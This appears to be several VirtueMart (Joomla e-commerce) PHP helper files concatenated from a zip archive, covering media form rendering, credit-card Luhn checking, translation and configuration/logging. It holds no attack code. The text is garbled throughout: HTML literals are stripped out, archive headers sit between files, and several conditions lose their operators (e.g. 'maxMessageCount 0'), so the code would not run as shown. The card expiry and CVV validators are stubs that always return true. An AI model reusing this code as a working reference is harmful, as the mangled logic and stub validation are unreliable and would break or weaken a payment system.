      '; $html .= ' '; if ($this->published || $this->virtuemart_media_id === 0){ $checked = 1; } else { $checked = 0; } $html .= ''; // The following was removed bacause the check box (publish/unpublish) was not functioning... // $this->media_published = $this->published; $html .= ''; $html .= ''; $html .= ''; // $html .= ' // // // '; if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!Permissions::getInstance()->check('admin') ) $readonly='readonly'; else $readonly =''; $html .= $this->displayRow('COM_VIRTUEMART_FILES_FORM_FILE_TITLE','file_title'); $html .= $this->displayRow('COM_VIRTUEMART_FILES_FORM_FILE_DESCRIPTION','file_description'); $html .= $this->displayRow('COM_VIRTUEMART_FILES_FORM_FILE_META','file_meta'); $html .= $this->displayRow('COM_VIRTUEMART_FILES_FORM_FILE_URL','file_url',$readonly); //remove the file_url_thumb in case it is standard if(!empty($this->file_url_thumb) and is_a($this,'VmImage')) { $file_url_thumb = $this->createThumbFileUrl(); //vmdebug('my displayFileHandler ',$this,$file_url_thumb); if($this->file_url_thumb == $file_url_thumb){ $this->file_url_thumb = JText::sprintf('COM_VIRTUEMART_DEFAULT_URL',$file_url_thumb); } } $html .= $this->displayRow('COM_VIRTUEMART_FILES_FORM_FILE_URL_THUMB','file_url_thumb',$readonly); $this->addMediaAttributesByType(); $html .= ''; // $html .= ''; } else { $mediaattribtemp = $this->media_attributes; if(empty($this->media_attributes)){ $mediaattribtemp = 'product'; } $html .= ''; } // select language for image if (count(vmconfig::get('active_languages'))>1) { $selectedLangue = explode(",", $this->file_lang); $languages = JLanguageHelper::createLanguageList($selectedLangue, constant('JPATH_SITE'), true); $html .= ''; } $html .= '
      '; if(!class_exists('VmHTML')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'html.php'); $html .= VmHTML::checkbox('media_published',$checked,1,0,'class="inputbox"','media_published'.$identify) ; // $html .=''; $html .= JHTML::image($this->file_url_thumb, 'thumbnail', 'id="vm_thumb_image" style="overflow: auto; float: right;"'); // $html .= $this->displayMediaThumb('',false,'id="vm_thumb_image" style="overflow: auto; float: right;"'); $html .= '
      '. JText::_('COM_VIRTUEMART_FILES_FORM_CURRENT_FILE') .''.$this->file_name.'.'.$this->file_extension .'
      '.JText::_('COM_VIRTUEMART_FILES_FORM_ROLE').'
      '.JHTML::_('select.radiolist', $this->getOptions($this->_mRoles), 'media_roles'.$identify, '', 'value', 'text', $this->media_role).'
      '.VmHTML::checkbox('file_is_forSale', $this->file_is_forSale); // $html .= VmHTML::checkbox('file_is_downloadable', $this->file_is_downloadable); if(!empty($this->file_type)){ $html .= '
      '.JText::_('COM_VIRTUEMART_FILES_FORM_LOCATION').'
      '.JText::_('COM_VIRTUEMART_FORM_MEDIA_SET_'.strtoupper($this->file_type)).'
      '.JText::_('COM_VIRTUEMART_FILES_FORM_LOCATION').'
      '.JHTML::_('select.radiolist', $this->getOptions($this->_mLocation), 'media_attributes'.$identify, '', 'value', 'text', $mediaattribtemp).'
      ' . JText::_ ('COM_VIRTUEMART_FILES_FORM_LANGUAGE') . '
      '.JHTML::_('select.genericlist', $languages, 'vmlangimg[]', 'size="10" multiple="multiple"', 'value', 'text', $selectedLangue ).'
      '; $html .='
      '; $this->addMediaActionByType(); $html .= '
      ' ; $html .= ''.JText::_('COM_VIRTUEMART_FILE_UPLOAD').''; $html .= JText::_('COM_VIRTUEMART_IMAGE_ACTION'). JHTML::_('select.radiolist', $this->getOptions($this->_actions), 'media_action'.$identify, '', 'value', 'text', 0).'

      '; $html .= JText::_('COM_VIRTUEMART_FILE_UPLOAD').'
      '; $html .= '
      '.$this->displaySupportedImageTypes(); $html .='
      '; $html .= $this->displayFoldersWriteAble(); $html .= $this->displayHidden(); // $html .= ''; return $html; } /** * child classes can add their own options and you can get them with this function * * @param array $optionsarray Allowed values are $this->_actions and $this->_attributes */ private function getOptions($optionsarray){ $options=array(); foreach($optionsarray as $optionName=>$langkey){ $options[] = JHTML::_('select.option', $optionName, JText::_( $langkey ) ); } return $options; } /** * Just for creating simpel rows * * @author Max Milbers * @param string $descr * @param string $name */ private function displayRow($descr, $name,$readonly=''){ $html = ' '.JText::_($descr).' '; return $html; } /** * renders the hiddenfields added in the layout before (used to make the displayFileHandle reusable) * @author Max Milbers */ private function displayHidden(){ $html=''; foreach($this->_hidden as $k=>$v){ $html .= ''; } return $html; } } PK@y>\&GHH0components/com_virtuemart/helpers/creditcard.phpnuW+Anumber = self::_strtonum($cardnum); /* if(!$this->detectType($this->number)) { $this->errno = CC_ETYPE; $d['error'] = $this->errno; return false; } */ if (empty($this->number) || !self::mod10($this->number)) { //JError::raiseWarning('', JText::_('COM_VIRTUEMART_CC_ENUMBER')); // $this->errno = CC_ENUMBER; // $d['error'] = $this->errno; return false; } return true; } /* * _strtonum private method * return formated string - only digits */ function _strtonum($string) { $nstr = ""; for ($i = 0; $i < strlen($string); $i++) { if (!is_numeric($string{$i})) continue; $nstr = "$nstr" . $string{$i}; } return $nstr; } /* * mod10 method - Luhn check digit algorithm * return 0 if true and !0 if false */ function mod10($card_number) { $digit_array = array(); $cnt = 0; //Reverse the card number $card_temp = strrev($card_number); //Multiple every other number by 2 then ( even placement ) //Add the digits and place in an array for ($i = 1; $i <= strlen($card_temp) - 1; $i = $i + 2) { //multiply every other digit by 2 $t = substr($card_temp, $i, 1); $t = $t * 2; //if there are more than one digit in the //result of multipling by two ex: 7 * 2 = 14 //then add the two digits together ex: 1 + 4 = 5 if (strlen($t) > 1) { //add the digits together $tmp = 0; //loop through the digits that resulted of //the multiplication by two above and add them //together for ($s = 0; $s < strlen($t); $s++) { $tmp = substr($t, $s, 1) + $tmp; } } else { // result of (* 2) is only one digit long $tmp = $t; } //place the result in an array for later //adding to the odd digits in the credit card number $digit_array [$cnt++] = $tmp; } $tmp = 0; //Add the numbers not doubled earlier ( odd placement ) for ($i = 0; $i <= strlen($card_temp); $i = $i + 2) { $tmp = substr($card_temp, $i, 1) + $tmp; } //Add the earlier doubled and digit-added numbers to the result $result = $tmp + array_sum($digit_array); //Check to make sure that the remainder //of dividing by 10 is 0 by using the modulas //operator return ($result % 10 == 0); } /* * validate_credit_card_cvv * The three- or four-digit number on the back of a credit card (on the front for American Express). * @author Valerie Isaksen */ static function validate_credit_card_cvv($creditcard_type, $cvv, $required = true) { if ($required and empty($cvv)) return false; return true; } /* * validate_credit_card_date * expiration date should be tested * @author Valerie Isaksen */ function validate_credit_card_date($creditcard_type, $month, $year) { return true; } } // pure php no closing tagPK@y>\{,components/com_virtuemart/helpers/vmtext.phpnuW+Aalert(Joomla.vmText._('true));?>')); * will generate an alert message containing 'Default' * it will generate a 'Default' string * * @param string $string The string to translate. * @param mixed $jsSafe Boolean: Make the result javascript safe. * @param boolean $interpretBackSlashes To interpret backslashes (\\=\, \n=carriage return, \t=tabulation) * @param boolean $script To indicate that the string will be push in the javascript language store * * @return string The translated string or the key is $script is true * * @since 11.1 */ public static function _($string, $jsSafe = false, $interpretBackSlashes = true, $script = false) { $lang = JFactory::getLanguage(); if (is_array($jsSafe)) { if (array_key_exists('interpretBackSlashes', $jsSafe)) { $interpretBackSlashes = (boolean) $jsSafe['interpretBackSlashes']; } if (array_key_exists('script', $jsSafe)) { $script = (boolean) $jsSafe['script']; } if (array_key_exists('jsSafe', $jsSafe)) { $jsSafe = (boolean) $jsSafe['jsSafe']; } else { $jsSafe = false; } } if ($script) { self::$strings[$string] = $lang->_($string, $jsSafe, $interpretBackSlashes); return $string; } else { return $lang->_($string, $jsSafe, $interpretBackSlashes); } } /** * Passes a string thru a sprintf. * * Note that this method can take a mixed number of arguments as for the sprintf function. * * The last argument can take an array of options: * * array('jsSafe'=>boolean, 'interpretBackSlashes'=>boolean, 'script'=>boolean) * * where: * * jsSafe is a boolean to generate a javascript safe strings. * interpretBackSlashes is a boolean to interpret backslashes \\->\, \n->new line, \t->tabulation. * script is a boolean to indicate that the string will be push in the javascript language store. * * @param string $string The format string. * * @return string The translated strings or the key if 'script' is true in the array of options. * * @since 11.1 */ public static function sprintf($string) { $lang = JFactory::getLanguage(); $args = func_get_args(); $count = count($args); if ($count > 0) { if (is_array($args[$count - 1])) { $args[0] = $lang->_( $string, array_key_exists('jsSafe', $args[$count - 1]) ? $args[$count - 1]['jsSafe'] : false, array_key_exists('interpretBackSlashes', $args[$count - 1]) ? $args[$count - 1]['interpretBackSlashes'] : true ); if (array_key_exists('script', $args[$count - 1]) && $args[$count - 1]['script']) { self::$strings[$string] = call_user_func_array('sprintf', $args); return $string; } } else { $args[0] = $lang->_($string); } $args[0] = preg_replace('/\[\[%([0-9]+):[^\]]*\]\]/', '%\1$s', $args[0]); return call_user_func_array('sprintf', $args); } return ''; } }PK@y>\d7Hˈˈ,components/com_virtuemart/helpers/config.phpnuW+A jQuery(); // for use of jQuery * Then always use the defined paths below to ensure future stability */ defined('DS') or define('DS', DIRECTORY_SEPARATOR); define( 'JPATH_VM_SITE', JPATH_ROOT.DS.'components'.DS.'com_virtuemart' ); defined('JPATH_VM_ADMINISTRATOR') or define('JPATH_VM_ADMINISTRATOR', JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart'); // define( 'JPATH_VM_ADMINISTRATOR', JPATH_ROOT.DS.'administrator'.DS.'components'.DS.'com_virtuemart' ); define( 'JPATH_VM_PLUGINS', JPATH_VM_ADMINISTRATOR.DS.'plugins' ); define( 'JPATH_VM_MODULES', JPATH_ROOT.DS.'modules' ); if(version_compare(JVERSION,'1.7.0','ge')) { defined('JPATH_VM_LIBRARIES') or define ('JPATH_VM_LIBRARIES', JPATH_PLATFORM); defined('JVM_VERSION') or define ('JVM_VERSION', 2); } else { if (version_compare (JVERSION, '1.6.0', 'ge')) { defined ('JPATH_VM_LIBRARIES') or define ('JPATH_VM_LIBRARIES', JPATH_LIBRARIES); defined ('JVM_VERSION') or define ('JVM_VERSION', 2); } else { defined ('JPATH_VM_LIBRARIES') or define ('JPATH_VM_LIBRARIES', JPATH_LIBRARIES); defined ('JVM_VERSION') or define ('JVM_VERSION', 1); } } //This number is for obstruction, similar to the prefix jos_ of joomla it should be avoided //to use the standard 7, choose something else between 1 and 99, it is added to the ordernumber as counter // and must not be lowered. defined('VM_ORDER_OFFSET') or define('VM_ORDER_OFFSET',3); require(JPATH_VM_ADMINISTRATOR.DS.'version.php'); JTable::addIncludePath(JPATH_VM_ADMINISTRATOR.DS.'tables'); if (!class_exists ('VmModel')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'vmmodel.php'); } if(!class_exists('vRequest')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vrequest.php'); if(!class_exists('vmText')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmtext.php'); if(!class_exists('vmJsApi')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmjsapi.php'); /** * This function shows an info message, the messages gets translated with JText::, * you can overload the function, so that automatically sprintf is taken, when needed. * So this works vmInfo('COM_VIRTUEMART_MEDIA_NO_PATH_TYPE',$type,$link ) * and also vmInfo('COM_VIRTUEMART_MEDIA_NO_PATH_TYPE'); * * @author Max Milbers * @param string $publicdescr * @param string $value */ function vmInfo($publicdescr,$value=NULL){ $app = JFactory::getApplication(); $msg = ''; $type = 'info'; if(VmConfig::$maxMessageCount 0) { $args[0] = $lang->_($args[0]); $msg = call_user_func_array('sprintf', $args); } } else { // $app ->enqueueMessage('Info: '.JText::_($publicdescr)); //$publicdescr = $lang->_($publicdescr); $msg = JText::_($publicdescr); // debug_print_backtrace(); } } else { if (VmConfig::$maxMessageCount == VmConfig::$maxMessage) { $msg = 'Max messages reached'; $type = 'warning'; } else { return false; } } if(!empty($msg)){ VmConfig::$maxMessageCount++; $app ->enqueueMessage($msg,$type); } else { vmTrace('vmInfo Message empty '.$msg); } return $msg; } /** * Informations for the vendors or the administrators of the store, but not for developers like vmdebug * @param $publicdescr * @param null $value */ function vmAdminInfo($publicdescr,$value=NULL){ if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(Permissions::getInstance()->isSuperVendor()){ $app = JFactory::getApplication(); if(VmConfig::$maxMessageCount 0) { $args[0] = $lang->_($args[0]); VmConfig::$maxMessageCount++; $app ->enqueueMessage(call_user_func_array('sprintf', $args),'info'); } } else { VmConfig::$maxMessageCount++; // $app ->enqueueMessage('Info: '.JText::_($publicdescr)); $publicdescr = $lang->_($publicdescr); $app ->enqueueMessage('Info: '.JText::_($publicdescr),'info'); // debug_print_backtrace(); } } else { if (VmConfig::$maxMessageCount == VmConfig::$maxMessage) { $app->enqueueMessage ('Max messages reached', 'info'); }else { return false; } } } } function vmWarn($publicdescr,$value=NULL){ $app = JFactory::getApplication(); $msg = ''; if(VmConfig::$maxMessageCount 0) { $args[0] = $lang->_($args[0]); $msg = call_user_func_array('sprintf', $args); } } else { // $app ->enqueueMessage('Info: '.JText::_($publicdescr)); $msg = $lang->_($publicdescr); //$app ->enqueueMessage('Info: '.$publicdescr,'warning'); // debug_print_backtrace(); } } else { if (VmConfig::$maxMessageCount == VmConfig::$maxMessage) { $msg = 'Max messages reached'; } else { return false; } } if(!empty($msg)){ VmConfig::$maxMessageCount++; $app ->enqueueMessage($msg,'warning'); return $msg; } else { vmTrace('vmWarn Message empty'); return false; } } /** * Shows an error message, sensible information should be only in the first one, the second one is for non BE users * @author Max Milbers */ function vmError($descr,$publicdescr=''){ $msg = ''; $lang = JFactory::getLanguage(); $descr = $lang->_($descr); $adminmsg = 'vmError: '.$descr; if (empty($descr)) { vmTrace ('vmError message empty'); return; } logInfo($adminmsg,'error'); if(VmConfig::$maxMessageCount< (VmConfig::$maxMessage+5)){ if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } if(Permissions::getInstance()->check('admin')){ $msg = $adminmsg; } else { if(!empty($publicdescr)){ $msg = $lang->_($publicdescr); } } } else { if (VmConfig::$maxMessageCount == (VmConfig::$maxMessage+5)) { $msg = 'Max messages reached'; } else { return false; } } if(!empty($msg)){ VmConfig::$maxMessageCount++; $app = JFactory::getApplication(); $app ->enqueueMessage($msg,'error'); return $msg; } return $msg; } /** * A debug dumper for VM, it is only shown to backend users. * * @author Max Milbers * @param unknown_type $descr * @param unknown_type $values */ function vmdebug($debugdescr,$debugvalues=NULL){ if(VMConfig::showDebug() ){ $app = JFactory::getApplication(); if(VmConfig::$maxMessageCount'.print_r(get_class_methods($debugvalues),1).''; $args = func_get_args(); if (count($args) > 1) { // foreach($args as $debugvalue){ for($i=1;$i'.print_r($args[$i],1).'
      '.print_r(get_class_methods($args[$i]),1).''; } } } } if(VmConfig::$echoDebug){ VmConfig::$maxMessageCount++; echo $debugdescr; } else if(VmConfig::$logDebug){ logInfo($debugdescr,'vmdebug'); }else { VmConfig::$maxMessageCount++; $app = JFactory::getApplication(); $app ->enqueueMessage('vmdebug '.$debugdescr.''); } } else { if (VmConfig::$maxMessageCount == VmConfig::$maxMessage) { $app->enqueueMessage ('Max messages reached', 'info'); } } } } function vmTrace($notice,$force=FALSE){ if($force || (VMConfig::showDebug() ) ){ //$app = JFactory::getApplication(); // ob_start(); echo '
      ';
      		debug_print_backtrace();
      		echo '
      '; $body = ob_get_contents(); ob_end_clean(); if(VmConfig::$echoDebug){ echo $notice.'
      '.$body.'
      '; } else if(VmConfig::$logDebug){ logInfo($body,$notice); } else { $app = JFactory::getApplication(); $app ->enqueueMessage($notice.' '.$body.' '); } } } function vmRam($notice,$value=NULL){ vmdebug($notice.' used Ram '.round(memory_get_usage(TRUE)/(1024*1024),2).'M ',$value); } function vmRamPeak($notice,$value=NULL){ vmdebug($notice.' memory peak '.round(memory_get_peak_usage(TRUE)/(1024*1024),2).'M ',$value); } function vmSetStartTime($name='current'){ VmConfig::setStartTime($name, microtime(TRUE)); } function vmTime($descr,$name='current'){ if (empty($descr)) { $descr = $name; } $starttime = VmConfig::$_starttime ; if(empty($starttime[$name])){ vmdebug('vmTime: '.$descr.' starting '.microtime(TRUE)); VmConfig::$_starttime[$name] = microtime(TRUE); } else { if ($name == 'current') { vmdebug ('vmTime: ' . $descr . ' time consumed ' . (microtime (TRUE) - $starttime[$name])); VmConfig::$_starttime[$name] = microtime (TRUE); } else { if (empty($descr)) { $descr = $name; } $tmp = 'vmTime: ' . $descr . ': ' . (microtime (TRUE) - $starttime[$name]); vmdebug ($tmp); } } } /** * logInfo * to help debugging Payment notification for example */ function logInfo ($text, $type = 'message') { jimport('joomla.filesystem.file'); $config = JFactory::getConfig(); $log_path = $config->get('log_path', JPATH_ROOT . "/log" ); $file = $log_path . "/" . VmConfig::$logFileName . VmConfig::LOGFILEEXT; if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } if(Permissions::getInstance()->check('admin')){ $show_error_msg = TRUE; } else { $show_error_msg = FALSE; } if (!is_dir($log_path)) { jimport('joomla.filesystem.folder'); if (!JFolder::create($log_path)) { if ($show_error_msg){ $msg = 'Could not create path ' . $log_path . ' to store log information. Check your folder ' . $log_path . ' permissions.'; $app = JFactory::getApplication(); $app->enqueueMessage($msg, 'error'); } return; } } if (!is_writable($log_path)) { if ($show_error_msg){ $msg = 'Path ' . $log_path . ' to store log information is not writable. Check your folder ' . $log_path . ' permissions.'; $app = JFactory::getApplication(); $app->enqueueMessage($msg, 'error'); } return; } // Initialise variables. $FTPOptions = JClientHelper::getCredentials('ftp'); $head = false; $fsize = false; $amount = 32768; $offset = 0; if (!JFile::exists($file)) { // blank line to prevent information disclose: https://bugs.php.net/bug.php?id=60677 // from Joomla log file $head = "#\n"; $head .= '#'."\n"; } else { $fsize = @ filesize($file); if($FTPOptions['enabled']){ $maxSizeLogFile = 32768; //32kb } else { $maxSizeLogFile = 524288;//1048576; //1MB } if($fsize and $fsize>$maxSizeLogFile){ $disk_free_space = disk_free_space($log_path); if($disk_free_spacetoFormat ('%Y-%m-%d_%H-%M') . VmConfig::LOGFILEEXT; JFile::move($file,$fileRename); $head = "#\n"; $head .= '#'."\n"; } } } if ($FTPOptions['enabled'] == 0){ static $fp; $fp = fopen ($file, 'a+'); if(!empty($offset)){ //not a good solution yet, we just delete the ending and add the other stuff again. ftruncate($fp,$offset); } if ($fp) { if ($head) { fwrite ($fp, $head); } fwrite ($fp, "\n" . JFactory::getDate()->toFormat ('%Y-%m-%d %H:%M:%S')); fwrite ($fp, " ".strtoupper($type) . ' ' . $text); fclose ($fp); } else { if ($show_error_msg){ $msg = 'Could not write in file ' . $file . ' to store log information. Check your file ' . $file . ' permissions.'; $app = JFactory::getApplication(); $app->enqueueMessage($msg, 'error'); } } } else { $buffer = JFile::read($file,false,$amount,8192,$offset); if ($head) { $buffer .= $head; } //This can make trouble if people use FTP and get a lot errors. We strongly recommened to get a hosting which works without the FTP help construction $buffer .= "\n" . JFactory::getDate()->toFormat('%Y-%m-%d %H:%M:%S'); $buffer .= " " . strtoupper($type) . ' ' . $text; if (!JFile::write($file, $buffer)) { if ($show_error_msg){ $msg = 'Could not write in file ' . $file . ' to store log information. Check your file ' . $file . ' permissions.'; $app = JFactory::getApplication(); $app->enqueueMessage($msg, 'error'); } return; } } return; } /** * The time how long the config in the session is valid. * While configuring the store, you should lower the time to 10 seconds. * Later in a big store it maybe useful to rise this time up to 1 hr. * That would mean that changing something in the config can take up to 1 hour until this change is effecting the shoppers. */ /** * We use this Class STATIC not dynamically ! */ class VmConfig { // instance of class private static $_jpConfig = NULL; public static $_debug = NULL; public static $_starttime = array(); public static $loaded = FALSE; public static $maxMessageCount = 0; public static $maxMessage = 100; public static $echoDebug = FALSE; public static $logDebug = FALSE; public static $logFileName = 'com_virtuemart'; const LOGFILEEXT = '.log.php'; public static $lang = FALSE; public static $vmlang = FALSE; public static $langTag = FALSE; public static $vmlangTag = FALSE; public static $langCount = 0; var $_params = array(); var $_raw = array(); private function __construct() { if(function_exists('mb_ereg_replace')){ mb_regex_encoding('UTF-8'); mb_internal_encoding('UTF-8'); } //if(ini_get('precision')!=15){ ini_set('precision', 15); //We need at least 20 for correct precision if json is using a bigInt ids //But 17 has the best precision, using higher precision adds fantasy numbers to the end //} } static function getStartTime(){ return self::$_starttime; } static function setStartTime($name,$value){ self::$_starttime[$name] = $value; } static function showDebug(){ if(self::$_debug===NULL){ $debug = VmConfig::get('debug_enable','none'); //$debug = 'all'; //this is only needed, when you want to debug THIS file // 1 show debug only to admins if($debug === 'admin' ){ if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } if(Permissions::getInstance()->check('admin')){ self::$_debug = TRUE; } else { self::$_debug = FALSE; } } // 2 show debug to anyone else { if ($debug === 'all') { self::$_debug = TRUE; } // else dont show debug else { self::$_debug = FALSE; } } if(self::$_debug){ ini_set('display_errors', '1'); //error_reporting(E_ALL ^ E_STRICT); } else { ini_set('display_errors', '0'); if(version_compare(phpversion(),'5.4.0','<' )){ error_reporting( E_ALL & ~E_STRICT ); } else { error_reporting( E_ALL ^ E_STRICT ); } } } //$nu = $ha; return self::$_debug; } /** * Ensures a certain Memory limit for php (if server supports it) * @author Max Milbers * @param int $minMemory */ static function ensureMemoryLimit($minMemory=0){ if($minMemory === 0) $minMemory = VmConfig::get('minMemory','128M'); $memory_limit = VmConfig::getMemoryLimit(); if($memory_limit<$minMemory) @ini_set( 'memory_limit', $minMemory.'M' ); } /** * Returns the PHP memory limit of the server in MB, regardless the used unit * @author Max Milbers * @return float|int PHP memory limit in MB */ static function getMemoryLimit(){ $iniValue = ini_get('memory_limit'); if($iniValue<=0) return 2048; //We assume 2048MB as unlimited setting $iniValue = strtoupper($iniValue); if(strpos($iniValue,'M')!==FALSE){ $memory_limit = (int) substr($iniValue,0,-1); } else if(strpos($iniValue,'K')!==FALSE){ $memory_limit = (int) substr($iniValue,0,-1) / 1024.0; } else if(strpos($iniValue,'G')!==FALSE){ $memory_limit = (int) substr($iniValue,0,-1) * 1024.0; } else { $memory_limit = (int) $iniValue / 1048576.0; } return $memory_limit; } static function ensureExecutionTime($minTime=0){ if($minTime === 0) $minTime = (int) VmConfig::get('minTime',120); $max_execution_time = self::getExecutionTime(); if((int)$max_execution_time<$minTime) { @ini_set( 'max_execution_time', $minTime ); } } static function getExecutionTime(){ $max_execution_time = (int) ini_get('max_execution_time'); if(empty($max_execution_time)){ $max_execution_time = (int) VmConfig::get('minTime',120); } return $max_execution_time; } /** * loads a language file, the trick for us is that always the config option enableEnglish is tested * and the path are already set and the correct order is used * We use first the english language, then the default * * @author Max Milbers * @static * @param $name * @return bool */ static public function loadJLang($name,$site=false,$tag=0){ $jlang =JFactory::getLanguage(); if(empty($tag))$tag = $jlang->getTag(); $path = $basePath = JPATH_VM_ADMINISTRATOR; if($site){ $path = $basePath = JPATH_VM_SITE; } if(VmConfig::get('enableEnglish', true) and $tag!='en-GB'){ $testpath = $basePath.DS.'language'.DS.'en-GB'.DS.'en-GB.'.$name.'.ini'; if(!file_exists($testpath)){ $epath = JPATH_ADMINISTRATOR; if($site){ $epath = JPATH_SITE; } } else { $epath = $path; } $jlang->load($name, $epath, 'en-GB'); } $testpath = $basePath.DS.'language'.DS.$tag.DS.$tag.'.'.$name.'.ini'; if(!file_exists($testpath)){ $path = JPATH_ADMINISTRATOR; if($site){ $path = JPATH_SITE; } } $jlang->load($name, $path,$tag,true); return $jlang; } /** * @static * @author Valerie Isaksen * @param $name */ static public function loadModJLang($name){ $jlang =JFactory::getLanguage(); $tag = $jlang->getTag(); $path = $basePath = JPATH_VM_MODULES.DS.$name; if(VmConfig::get('enableEnglish', true) and $tag!='en-GB'){ $testpath = $basePath.DS.'language'.DS.'en-GB'.DS.'en-GB.'.$name.'.ini'; if(!file_exists($testpath)){ $path = JPATH_ADMINISTRATOR; } $jlang->load($name, $path, 'en-GB'); } $testpath = $basePath.DS.'language'.DS.$tag.DS.$tag.'.'.$name.'.ini'; if(!file_exists($testpath)){ $path = JPATH_ADMINISTRATOR; } $jlang->load($name, $path,$tag,true); } /** * Loads the configuration and works as singleton therefore called static. The call using the program cache * is 10 times faster then taking from the session. The session is still approx. 30 times faster then using the file. * The db is 10 times slower then the session. * * Performance: * * Fastest is * Program Cache: 1.5974044799805E-5 * Session Cache: 0.00016094612121582 * * First config db load: 0.00052118301391602 * Parsed and in session: 0.001554012298584 * * After install from file: 0.0040450096130371 * Parsed and in session: 0.0051419734954834 * * * Functions tests if already loaded in program cache, session cache, database and at last the file. * * Load the configuration values from the database into a session variable. * This step is done to prevent accessing the database for every configuration variable lookup. * * @author Max Milbers * @param $force boolean Forces the function to load the config from the db */ static public function loadConfig($force = FALSE,$fresh = FALSE) { if($fresh){ return self::$_jpConfig = new VmConfig(); } vmSetStartTime('loadConfig'); if(!$force){ if(!empty(self::$_jpConfig) && !empty(self::$_jpConfig->_params)){ return self::$_jpConfig; } } self::$_jpConfig = new VmConfig(); if(!class_exists('VirtueMartModelConfig')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'config.php'); $configTable = VirtueMartModelConfig::checkConfigTableExists(); $db = JFactory::getDBO(); $app = JFactory::getApplication(); $freshInstall = vRequest::getInt('install',false); if(empty($configTable) or $freshInstall){ if(!$freshInstall){ $installed = VirtueMartModelConfig::checkVirtuemartInstalled(); if(!$installed){ $jlang =JFactory::getLanguage(); $selectedLang = $jlang->getTag(); if(empty($selectedLang)){ $selectedLang = $jlang->setLanguage($selectedLang); } $msg = ''; $q = 'SELECT `element` FROM `#__extensions` WHERE type = "language" and enabled = "1"'; $db->setQuery($q); $knownLangs = $db->loadColumn(); //vmdebug('Selected language '.$selectedLang.' $knownLangs ',$knownLangs); if($app->isAdmin() and !in_array($selectedLang,$knownLangs)){ $link = 'index.php?option=com_installer&view=languages'; $msg = 'Install your selected language '.$selectedLang.' first in joomla language manager, just select then the component VirtueMart under menu "component", to proceed with the installation '; $app->enqueueMessage($msg); } //else { if($app->isSite()){ $link = 'index.php?option=com_virtuemart'; } else { $link = 'index.php?option=com_virtuemart&view=updatesmigration&install=1'; $msg = 'Install Virtuemart first, click on the menu component and select VirtueMart'; } if($app->isSite()){ $link = JURI::root(true).'/administrator/'.$link; } $app->redirect($link,$msg); //} } if($installed){ self::$_jpConfig->installVMconfig(); } } else { self::$_jpConfig->installVMconfig($freshInstall); } } $install = 'no'; if(empty(self::$_jpConfig->_raw)){ $query = ' SELECT `config` FROM `#__virtuemart_configs` WHERE `virtuemart_config_id` = "1";'; $db->setQuery($query); self::$_jpConfig->_raw = $db->loadResult(); if(empty(self::$_jpConfig->_raw)){ if(self::installVMconfig($freshInstall)){ $install = 'yes'; $db->setQuery($query); self::$_jpConfig->_raw = $db->loadResult(); self::$_jpConfig->_params = NULL; } else { $app ->enqueueMessage('Error loading configuration file','Error loading configuration file, please contact the storeowner'); } } } $i = 0; $pair = array(); if (!empty(self::$_jpConfig->_raw)) { $config = explode('|', self::$_jpConfig->_raw); foreach($config as $item){ $item = explode('=',$item); if(!empty($item[1])){ // if($item[0]!=='offline_message' && $item[0]!=='dateformat' ){ if($item[0]!=='offline_message' ){ try { $value = @unserialize($item[1] ); if($value===FALSE){ $app ->enqueueMessage('Exception in loadConfig for unserialize '.$item[0]. ' '.$item[1]); $uri = JFactory::getURI(); $configlink = $uri->root() . 'administrator/index.php?option=com_virtuemart&view=config'; $app ->enqueueMessage('To avoid this message, enter your virtuemart config and just save it one time'); } else { $pair[$item[0]] = $value; } }catch (Exception $e) { vmdebug('Exception in loadConfig for unserialize '. $e->getMessage(),$item); } } else { $pair[$item[0]] = unserialize(base64_decode($item[1]) ); } } else { $pair[$item[0]] =''; } } // $pair['sctime'] = microtime(true); self::$_jpConfig->_params = $pair; self::$_jpConfig->_params['sctime'] = microtime(TRUE); //self::$_jpConfig->set('sctime',microtime(TRUE)); //self::setdbLanguageTag(); self::$_jpConfig->_params['vmlang'] = self::setdbLanguageTag(); vmTime('loadConfig db '.$install,'loadConfig'); return self::$_jpConfig; } $app ->enqueueMessage('Attention config is empty'); return self::$_jpConfig; } /* * Set defaut language tag for translatable table * * @author Max Milbers * @return string valid langtag */ static public function setdbLanguageTag() { if (self::$lang) { return self::$lang; } $langs = (array)self::get('active_languages',array()); self::$langCount = count($langs); $siteLang = JRequest::getString('vmlang',FALSE ); //vmdebug('My $siteLang by JRequest::getString("vmlang",JRequest::getString("lang")) '.$siteLang); $params = JComponentHelper::getParams('com_languages'); $defaultLang = $params->get('site', 'en-GB');//use default joomla if( JFactory::getApplication()->isSite()){ if (!$siteLang) { if ( JVM_VERSION===1 ) { // try to find in session lang // this work with joomfish j1.5 (application.data.lang) $session =JFactory::getSession(); $registry = $session->get('registry'); $siteLang = $registry->getValue('application.data.lang') ; } else { jimport('joomla.language.helper'); $siteLang = JFactory::getLanguage()->getTag(); vmdebug('My selected language by JFactory::getLanguage()->getTag() '.$siteLang); } } } else { if(!$siteLang){ $siteLang = $defaultLang; } } if(!in_array($siteLang, $langs)) { if(count($langs)===0){ $siteLang = $defaultLang; } else { $siteLang = $langs[0]; } } self::$vmlangTag = self::$langTag = $siteLang; self::$vmlang = self::$lang = strtolower(strtr($siteLang,'-','_')); vmdebug('$siteLang: '.$siteLang.' self::$_jpConfig->lang '.self::$lang); defined('VMLANG') or define('VMLANG', self::$lang ); return self::$lang; } /** * Find the configuration value for a given key * * @author Max Milbers * @param string $key Key name to lookup * @return Value for the given key name */ static function get($key, $default='',$allow_load=FALSE) { $value = ''; if ($key) { if (empty(self::$_jpConfig->_params) && $allow_load) { self::loadConfig(); } if (!empty(self::$_jpConfig->_params)) { 